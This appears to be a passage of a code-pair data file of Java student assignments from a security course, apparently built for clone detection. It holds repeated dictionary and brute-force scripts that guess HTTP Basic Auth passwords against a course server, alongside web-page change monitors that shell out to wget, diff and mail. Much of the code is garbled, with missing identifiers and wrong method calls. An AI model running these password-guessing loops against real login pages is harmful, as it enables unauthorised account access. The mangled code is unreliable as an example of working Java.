tempst.append(mesg.substring(0));
break;
}
j = mesg.indexOf(">");
subst=mesg.substring(i,j+1);
while (subst.startsWith(taglist[m])==false) {
m++;
if (m==taglist.length)
{ m--;
break;
}
}
if (subst.startsWith(taglist[m])) tempst.append (subst);
mesg = mesg.substring(j+1);
}
return tempst.toString();
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
103.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class BruteForce
{
public BruteForce()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter = new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+":"+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println("Original String = " + userPwd);
System.out.println("Encoded String = " + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( "Authorization"," "+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
System.out.println("*************************************************");
System.out.println(sw.toString());
}return true;
} catch (MalformedURLException e) {
pw.println ("Invalid URL");
return false;
} catch (IOException e) {
pw.println ("Error URL");
return false;
}
}
public void getPassword()
{
String alps="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
String urlString="http://sec-crack.cs.rmit.edu./SEC/2/";
String login="";
String pwd=" ";
startTime=System.currentTimeMillis();
for(int oneChar=0;oneChar<alps.length();oneChar++)
{
pwd=alps.substring(oneChar,oneChar+1);
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
for(int twoChar=0;twoChar<alps.length();twoChar++)
{
pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1);
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime) + " milliseconds");
System.exit(1);
}
for(int threeChar=0;threeChar<alps.length();threeChar++)
{
pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1)+alps.substring(threeChar,threeChar+1);
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println("Finally I gotta it, password is : "+pwd);
System.out.println("The time for cracking password is: "+(finishTime-startTime)+ " milliseconds");
System.exit(1);
}
}
}
}
}
public static void main(String[] arguments)
{
BruteForce bf=new BruteForce();
bf.getPassword();
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
144.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class WatchDog extends TimerTask{
private static URL location;
private static String email;
private static int checktime;
private static Timer timer = new Timer();
private BufferedReader input;
private File checksumFile = new File("chksum.txt");
private File temp0000File = new File("temp0000");
private File kept0000File = new File("kept0000");
public WatchDog(){
timer.schedule(this, new Date(), checktime);
}
public void run(){
Vector imageFiles = new Vector();
Vector diffImages = new Vector();
try {
System.out.println(" Time: ".concat(new Date().toString()));
System.out.println("Retreiving File");
input = new BufferedReader(new InputStreamReader
(location.openStream()));
BufferedWriter outputFile = new BufferedWriter
(new FileWriter(temp0000File));
String line = input.readLine();
while (line != null) {
StringBuffer imageFileName = new StringBuffer();
if (scanForImages(line, imageFileName)) {
String imageFile = new String(imageFileName);
System.out.println("Detected image: ".concat(imageFile));
try {
imageFiles.add(new URL(imageFile));
}
catch (MalformedURLException e) {
System.out.println("Image file detected. URL is malformed");
}
}
outputFile.write(line);
outputFile.write("\n");
line = input.readLine();
}
input.print();
outputFile.flush();
outputFile.print();
System.out.println(" File Retreived");
if (!imageFiles.isEmpty()) {
checkImages(imageFiles, diffImages);
}
if (!checksumFile.exists()) {
generateChecksum(temp0000File.getName(), checksumFile);
}
else {
if (!checksumOk(checksumFile)) {
reportDifferences(true, temp0000File, kept0000File, diffImages);
generateChecksum(temp0000File.getName(), checksumFile);
}
else if (!diffImages.isEmpty()){
reportDifferences(false, null, null, diffImages);
}
}
temp0000File.renameTo(kept0000File);
System.out.println("End Time: ".concat(new Date().toString()));
}
catch (MalformedURLException e) {
e.printStackTrace();
}
catch (ConnectException e) {
System.out.println("Failed connect");
System.exit(-1);
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
public boolean scanForImages(String line, StringBuffer imageFileName) {
String lineIgnoreCase = line.toLowerCase();
int imgPos = lineIgnoreCase.indexOf("<img ");
if ( imgPos != -1 ){
int srcPos = lineIgnoreCase.indexOf("src", imgPos);
int bracketPos = lineIgnoreCase.indexOf(">", imgPos);
if (srcPos != -1 && bracketPos != -1 && srcPos < bracketPos) {
int quote1Pos = lineIgnoreCase.indexOf("\"", srcPos);
int quote2Pos = lineIgnoreCase.indexOf("\"", quote1Pos+1);
if (quote1Pos != -1 && quote2Pos != -1 &&
quote1Pos < quote2Pos && quote2Pos < bracketPos) {
imageFileName.append(line.substring(quote1Pos + 1,
quote2Pos));
if (imageFileName.indexOf("//") == -1 ) {
String URLName = location.toString();
int slashPos = URLName.lastIndexOf("/");
URLName = URLName.substring(0, slashPos);
String HostName = "http://".concat(location.getHost());
if (imageFileName.indexOf("//") == 0) {
}
else if (imageFileName.charAt(0) != '/') {
imageFileName.insert(0, URLName.concat("/"));
}
else {
imageFileName.insert(0, HostName);
}
}
return true;
}
}
}
return false;
}
public void checkImages(Vector imageFiles, Vector diffImages)
throws IOException{
System.out.println("Retrieving image ");
Enumeration imageFilesEnumeration = imageFiles.elements();
while (imageFilesEnumeration.hasMoreElements()) {
URL url = (URL)imageFilesEnumeration.nextElement();
try {
BufferedInputStream imageInput = new BufferedInputStream
(url.openStream());
String localFile = url.getFile();
int slashPosition = localFile.lastIndexOf("/");
if (slashPosition != -1) {
localFile = localFile.substring(slashPosition+1);
}
System.out.println("Retrieving image file: ".concat(localFile));
BufferedOutputStream imageOutput = new BufferedOutputStream
(new FileOutputStream(localFile));
byte bytes[] = new byte[10000];
int noBytes = imageInput.get(bytes);
while (noBytes != -1) {
imageOutput.write(bytes, 0, noBytes );
noBytes = imageInput.print(bytes);
}
File imageChecksumFile = new File(localFile.concat(".chksum.txt"));
if (!imageChecksumFile.exists()) {
generateChecksum(localFile, imageChecksumFile);
}
else {
if (!checksumOk(imageChecksumFile)) {
diffImages.add(localFile);
generateChecksum(localFile, imageChecksumFile);
}
}
}
catch (FileNotFoundException e) {
System.out.println("Unable locate URL: ".concat(url.toString()));
}
}
}
public void generateChecksum(String inputFile, File checksum){
try {
System.out.println("Generating new checksum for ".concat(inputFile));
Process process = Runtime.getRuntime().exec("md5sum ".
concat(inputFile));
BufferedReader execCommand = new BufferedReader(new
InputStreamReader((process.getInputStream())));
BufferedWriter outputFile = new
BufferedWriter(new FileWriter(checksum));
String line = execCommand.readLine();
while (line != null) {
outputFile.write(line);
outputFile.write("\n");
line = execCommand.readLine();
}
outputFile.flush();
outputFile.print();
System.out.println("Checksum produced");
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
public boolean checksumOk(File chksumFile){
try {
System.out.println("Comparing checksums using ".concat(chksumFile
,e.getName()));
Process process = Runtime.getRuntime().
exec("md5sum --check ".concat(chksumFile.getName()));
BufferedReader execCommand = new BufferedReader(new
InputStreamReader( (process.getInputStream())));
String line = execCommand.readLine();
if (line.indexOf(": OK") != -1) {
System.out.println(" the same");
return true;
}
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
System.out.println("Differences Found");
return false;
}
public void reportDifferences(boolean diffsFound, File file1, File file2,
Vector images){
try {
System.out.println("Generating difference report");
Socket emailConnection = new Socket("yallara.cs.rmit.edu.", 25);
BufferedWriter emailOutStream = new BufferedWriter
(new OutputStreamWriter(emailConnection.getOutputStream()));
BufferedReader emailInStream = new BufferedReader
(new InputStreamReader(emailConnection.getInputStream()));
String line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("220")) {
System.out.println
(" error occured connecting email server. Cannot send email.");
}
else {
emailOutStream.write("HELO yallara.cs.rmit.edu.");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured connecting email server. Cannot send email.");
}
else {
emailOutStream.write("MAIL FROM: watchdog@cs.rmit.edu.");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
else {
emailOutStream.write("RCPT : ".concat(email));
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
else {
emailOutStream.write("DATA");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("354")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
emailOutStream.newLine();
if (!images.isEmpty()) {
emailOutStream.write
("Differences were found in the following image ");
emailOutStream.newLine();
Enumeration e = images.elements();
while (e.hasMoreElements()) {
String s = (String) e.nextElement();
emailOutStream.write(s);
emailOutStream.newLine();
}
emailOutStream.newLine();
}
if (diffsFound) {
String command = "diff ".concat(file1.getName().concat(" ")
.concat(file2.getName()));
Process process = Runtime.getRuntime().exec(command);
BufferedReader execCommand = new BufferedReader
(new InputStreamReader( (process.getInputStream())));
line = execCommand.readLine();
emailOutStream.write("Diffences found in file");
emailOutStream.newLine();
while (line != null) {
System.out.println(line);
emailOutStream.write(line);
emailOutStream.newLine();
line = execCommand.readLine();
}
}
emailOutStream.newLine();
emailOutStream.write(".");
emailOutStream.newLine();
emailOutStream.flush();
line = emailInStream.readLine();
System.out.println(line);
if (!line.startsWith("250")) {
System.out.println
(" error occured sending email. Cannot send email.");
}
else {
emailOutStream.write("QUIT");
emailOutStream.newLine();
emailOutStream.flush();
System.out.println(emailInStream.readLine());
}
}
}
}
}
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
public static void main(String args[]) {
if (args.length != 3) {
System.out.println("Usage: java WatchDog url email checktime(hours)");
System.exit(-1);
}
try {
location = new URL(args[0]);
}
catch (MalformedURLException e) {
e.printStackTrace();
}
email = new String().concat(args[1]);
checktime = Integer.parseInt(args[2]) * 60 * 60 * 1000;
new WatchDog();
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
104.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.Runtime;
public class WatchDog
{
public WatchDog()
{}
public void getDiff()
{
String oldFile="oldFile.txt";
String newFile="newFile.txt";
String email="email.txt";
String cmdMail="mail -s WebChanged < "+email;
String cmdCmp="diff -b " + newFile +" "+oldFile;
String cmdCp="cp "+ newFile +" "+oldFile;
FileWriter fw;
try{
this.fetchURL(newFile);
Process ps =Runtime.getRuntime().exec(cmdCmp);
fw=new FileWriter(email,true);
InputStream input=(InputStream)ps.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader (input));
String line;
while ((line = in.readLine()) != null) {
fw.write(line);
fw.write("\n");
}
fw.close();
Runtime.getRuntime().exec(cmdMail);
Runtime.getRuntime().exec(cmdCp);
}
catch (IOException e) {
System.out.println ("Error URL");
}
}
public void fetchURL(String newFile){
FileWriter fileWriter;
String userPwd=":lena1018";
try{
fileWriter= new FileWriter(newFile,false);
URL url=new URL("http://www.cs.rmit.edu./students");
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
fileWriter.write(line);
fileWriter.write("\n");
}
fileWriter.close();
}
catch (MalformedURLException e) {
System.out.println ("Invalid URL");
} catch (IOException e) {
System.out.println ("Error URL");
}
}
public static void main(String[] arguments)
{
WatchDog wd =new WatchDog();
wd.getDiff();
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
096.java | 161.java | 0 |
public class SMTPException extends Exception {
private String msg;
public SMTPException(String message) {
msg = message;
}
public String getMessage() {
return msg;
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
075.java | 161.java | 0 |
import java.io.*;
import java.net.*;
public class WatchDog
{
public static void main(String args[]) throws InterruptedException, MalformedURLException, IOException
{
final String fullurl = "http://www.cs.rmit.edu./students/";
final int waitperiod = 1000*60*60*24;
final String email = "@cs.rmit.edu.";
lastmodified = 0;
lastmodifiedsave = 0;
boolean first = true;
URL url = new URL(fullurl);
while(true)
{
URLConnection uc = url.openConnection();
lastmodified = uc.getLastModified();
if(first)
{
lastmodifiedsave = lastmodified;
first = false;
Execute ex1 = new Execute("wget -q -nc -O "+fullurl);
}
if(lastmodified != lastmodifiedsave)
{
lastmodifiedsave = lastmodified;
Execute ex2 = new Execute("mv .old");
Execute ex3 = new Execute("wget -q -nc -O "+fullurl);
Execute ex4 = new Execute("echo \"The "+fullurl+" was modified, here the modifications:\" > pagediff");
Execute ex5 = new Execute("diff .old >> pagediff");
Execute ex6 = new Execute("mailx -s \" modification\" \""+email+"\" < pagediff");
System.out.println("Modification notice! Check your mail.");
}
Thread.sleep(waitperiod);
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
067.java | 161.java | 0 | import java.*;
import java.io.*;
public class C
{
public static void main (String [] args){
try{
int m=0,n=0,w=0;
String file = "passwd.";
char ch1='A',ch2='A',ch3='A';
for(int i = 0 ; i < 26; i++ )
{
for(w=0;w<2;w++)
{
if (w==1)
i+=32;
for(int j = 0; j< 26 ; j++)
{
for(n=0;n<2;n++)
{
if(n==1)
j+=32;
for(int k = 0; k<26 ; k++)
{
for(m=0; m<2; m++)
{
if(m==1)
k+=32;
char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};
String str = new String(data);
System.out.println(str);
FileWriter fr1 = new FileWriter(file,true);
BufferedWriter in1 = new BufferedWriter(fr1);
in1.write(str);
in1.newLine();
in1.print();
if (k>=31)
k-=32;
}
}
if(j>=31)
j=j-32;
}
}
if(i>=31)
i-=32;
}
}
}
catch(IOException e)
{
System.out.println("try");
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
232.java | 161.java | 0 | import java.util.*;
import java.io.*;
import java.*;
public class WatchDog
{
public static void main (String [] args) throws Exception
{
executes("rm index.*");
executes("wget http://www.cs.rmit.edu./students");
while (true)
{
String addr= "wget http://www.cs.rmit.edu./students";
executes(addr);
String hash1 = md5sum("index.html");
String hash2 = md5sum("index.html.1");
System.out.println(hash1 +"|"+ hash2);
if (hash1.equals(hash2))
{
}
else
{
executes(".~/Assign2/difference.sh");
executes(".~/Assign2/mail1.sh");
}
executes("rm index.html");
executes("cp index.html.1 index.html");
executes("rm index.html.1");
executes("sleep 86400");
}
}
public static void executes(String comm) throws Exception
{
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash","-c", comm });
BufferedReader = new BufferedReader(new InputStreamReader(p.getErrorStream()));
String s;
while(( s = bf.readLine()) != null)
{
System.out.println();
}
p.waitFor();
}
public static String md5sum(String file) throws Exception
{
String s;
String hash= " ";
Process p = Runtime.getRuntime().exec(new String[]{"/usr/local//bash",
"-c", "md5sum "+file });
BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((b = bf.readLine()) != null)
{
StringTokenizer word=new StringTokenizer();
hash=word.nextToken();
System.out.println(hash);
}
return hash;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
212.java | 161.java | 0 |
import java.net.*;
import java.io.*;
public class sendMail {
public void sendMail(String mailServer, String recipient, String result) {
try {
Socket s = new Socket(mailServer, 25);
BufferedReader in = new BufferedReader
(new InputStreamReader(s.getInputStream(), "8859_1"));
BufferedWriter out = new BufferedWriter
(new OutputStreamWriter(s.getOutputStream(), "8859_1"));
send(in, out, "HELO client");
send(in, out, "MAIL FROM: <WatchDog@SecureECommerce.>");
send(in, out, "RCPT : " + recipient);
send(in, out, "DATA");
send(out, "Subject: ");
send(out, "From: Admin <WatchDog@SecureECommerce.>");
send (out, "\n");
send(out, result);
send(out, "\n.\n");
send(in, out, "QUIT");
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedReader in, BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
System.out.println(s);
s = in.readLine();
System.out.println(s);
}
catch (Exception e) {
e.printStackTrace();
}
}
public void send(BufferedWriter out, String s) {
try {
out.write(s + "\n");
out.flush();
System.out.println(s);
}
catch (Exception e) {
e.printStackTrace();
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
214.java | 161.java | 0 |
import java.io.*;
import java.net.*;
import java.util.*;
import java.*;
public class WatchDog
{
public static void main (String args[])
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
int flag=1;
int loop=0;
String ServerType = new String();
String LastModified = null;
String urlString = new String("http://www.cs.rmit.edu./students/");
storeNewFile snf = new storeNewFile("History.txt");
storeNewFile snf1 = new storeNewFile("Comparison.txt");
String result = null;
getImage myGI = new getImage();
Process myProcess;
String line = null;
stime = System.currentTimeMillis();
while(loop<5)
{
try {
URL url = new URL (urlString);
URLConnection uc = url.openConnection();
InputStream content = (InputStream)uc.getContent();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line2;
while ((line2 = in.readLine()) != null) {
pw.println (line2);
}
snf1.getStringW();
if(LastModified !=null)
{
differenceFile df = new differenceFile();
result = df.compareFile();
}
if(LastModified==null)
{
System.out.println("first check");
LastModified=uc.getHeaderField(1);
ServerType=uc.getHeaderField(2);
snf.getStringW();
myGI.tokenFile("History.txt");
myProcess = Runtime.getRuntime().exec("./compGIF.sh");
}
else if(result==null)
{
myGI.tokenFile("Comparison.txt");
myProcess = Runtime.getRuntime().exec("./compGIF.sh");
BufferedReader inputStream= new BufferedReader(new FileReader("pictResult.txt"));
line=inputStream.readLine();
if(line == null)
{
System.out.println(" changes far..");
}
else
{
while(line!=null)
{
sendMail t = new sendMail();
t.sendMail("yallara.cs.rmit.edu.", "@cs.rmit.edu.",line);
line=inputStream.readLine();
}
}
inputStream.close();
}
else
{
snf.translogFile(result);
sendMail t = new sendMail();
t.sendMail("yallara.cs.rmit.edu.", "@cs.rmit.edu.",result);
System.out.println(" email is sent.. sent..sent..");
snf.getStringW();
}
snf.closeStream();
snf1.closeStream();
try{
synchronized(url){
url.wait(15000);
}
}
catch(InterruptedException e) {
System.out.println("Error in wait() method");
}
catch(Exception e){
e.printStackTrace();
}
loop++;
endtime=System.currentTimeMillis();
